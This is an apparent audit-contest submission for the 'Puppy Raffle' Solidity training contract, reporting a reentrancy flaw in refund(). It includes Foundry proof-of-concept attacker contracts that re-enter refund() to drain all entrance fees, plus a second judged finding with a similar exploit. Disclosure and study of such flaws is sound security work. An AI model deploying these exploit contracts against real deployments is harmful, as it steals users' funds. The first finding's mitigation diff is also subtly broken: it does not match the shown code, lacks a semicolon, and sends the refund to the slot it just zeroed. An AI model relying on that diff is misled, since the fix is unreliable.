Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() drains entire raffle balance

refund() sends ETH to msg.sender before zeroing their entry, allowing a malicious contract entrant to reenter refund multiple times and withdraw more than paid, draining all funds.

Description

In PuppyRaffle.sol:L96-L104, refund(uint256) pays the caller using Address.sendValue before clearing their slot in players. There is no reentrancy guard. A malicious player contract can enter the raffle, call refund(), and in its receive() callback reenter refund() repeatedly for the same index because players[playerIndex] is only zeroed after the external call. Each reentrant call transfers entranceFee again, allowing the attacker to withdraw all ETH held by the raffle.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any raffle participant can call refund() to trigger reentrancy — no special role or timing required

  • The refund() function has no reentrancy guard or mutex protection

  • A malicious contract deployed as a player exploits this in a single transaction

Impact:

  • All ETH held by the raffle contract is drained (all entrance fees and accumulated funds)

  • Other participants lose their entrance fees with no recourse

  • The raffle becomes insolvent — cannot pay out winners or process further refunds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public targetIndex;
uint256 public reenterCount;
uint256 public maxReenters = 3;
constructor(PuppyRaffle _raffle) public { raffle = _raffle; }
function setIndex(uint256 idx) external { targetIndex = idx; }
function attack() external { raffle.refund(targetIndex); }
receive() external payable {
if (reenterCount < maxReenters) { reenterCount++; raffle.refund(targetIndex); }
}
}
contract H01_RefundReentrancyTest is Test {
PuppyRaffle raffle; ReentrancyAttacker attacker; uint256 entranceFee = 1 ether;
function setUp() public {
raffle = new PuppyRaffle(entranceFee, address(0xfee), 1 days);
attacker = new ReentrancyAttacker(raffle);
vm.deal(address(attacker), 10 ether);
address[] memory others = new address[](3);
others[0]=address(0x1); others[1]=address(0x2); others[2]=address(0x3);
raffle.enterRaffle{value: entranceFee*others.length}(others);
address[] memory arr = new address[](1); arr[0]=address(attacker);
vm.prank(address(attacker)); raffle.enterRaffle{value: entranceFee}(arr);
attacker.setIndex(3);
}
function testReentrancyRefundDrainsFunds() public {
uint256 beforeBal = address(attacker).balance;
vm.prank(address(attacker)); attacker.attack();
uint256 afterBal = address(attacker).balance;
assertGt(afterBal, beforeBal + entranceFee);
assertEq(address(raffle).balance, 0);
}
}

Recommended Mitigation

- players[playerIndex].sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0)
+ players[playerIndex].sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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